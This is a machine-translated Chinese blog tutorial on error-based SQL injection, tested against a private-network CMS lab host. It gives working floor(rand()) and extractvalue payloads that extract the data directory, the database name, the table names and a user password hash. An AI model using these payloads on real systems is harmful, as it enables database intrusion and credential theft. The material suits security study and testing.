当前位置:网站首页>[SQL injection] error injection
[SQL injection] error injection
2022-07-27 01:35:00 【Atzxc red blue confrontation】
1、 Error injection principle
Mainly through the input box , With limited controllable parameters , Construct specified error , Let it display error messages on the front page , You can get the final information
When we use SQL At the time of Injection , If you use and 1=1 No echo information , Then enter the wrong information , When there is a report of error , You can use error injection
In the process of judging the injection point , In the database SQL Error message of the statement , Will be displayed on the page , Therefore, the error information can be used to inject .
2、 Find the path of the database
http://192.168.79.147/cms/show.php
?id=-33 and (select 1 from (select count(*),concat(0x5e,(select @@datadir),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
3、 Query the database name used by the current web page
http://192.168.79.147/cms/show.php
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
4、 Query all the table names of the database
http://192.168.79.147/cms/show.php
?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema='cms' limit 7,1),0x5e))
#limit The query starts from the seventh , Query a 
5、 Query the password of the database table
Query one column at a time , Only characters of the specified length can be queried
http://192.168.79.147/cms/show.php
?id=33 and extractvalue(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e))
e10adc3949ba59abbe56e057f20f883e
边栏推荐
- ESP8266 AP_TCP_Server
- Come and help you understand the Internet of things in three minutes
- 数学建模简介-从现实对象到数学建模[2]
- Basic syntax of Verilog
- OJ question of sequence table
- Unity ugui text text box adaptation
- What is the digital economy and how does it change the business model?
- 链表常规OJ
- Database interim (II)
- Plantcv Chinese document
猜你喜欢

六、if语句

Jenkins -- Basic -- 03 -- post installation setup wizard

ESP8266 AP_ MODE

13、 Command gadget

Esp8266 --- JSON data exchange format

C language to realize mine sweeping game:

Complexity OJ question

Remember that the scene rendered by rawimage is disordered once

Naive Bayes multiclass training model

MakeFile
随机推荐
MySQL字符集设置为UTF-8,但控制台仍然出现中文乱码问题
Come and help you understand the Internet of things in three minutes
Self criticism record of senior senior students
复杂度OJ题
7、 Loop statement
iptables防火墙(二)
Unity ugui text text box adaptation
最大公约数的求法
8、 Definition of array
集中式版本控制工具代码合并问题
十五、expect
Unity uses navmesh to realize simple rocker function
ESP8266 AP_MODE
ESP8266 AP_ TCP_ Server
ESP8266 STA_Server
Unity CharacterController
Unity a user-friendly UI grayscale shader
ESP8266---JSON数据交换格式
大四老学长的自我批评记录
Six ways for the Internet of things to improve our lives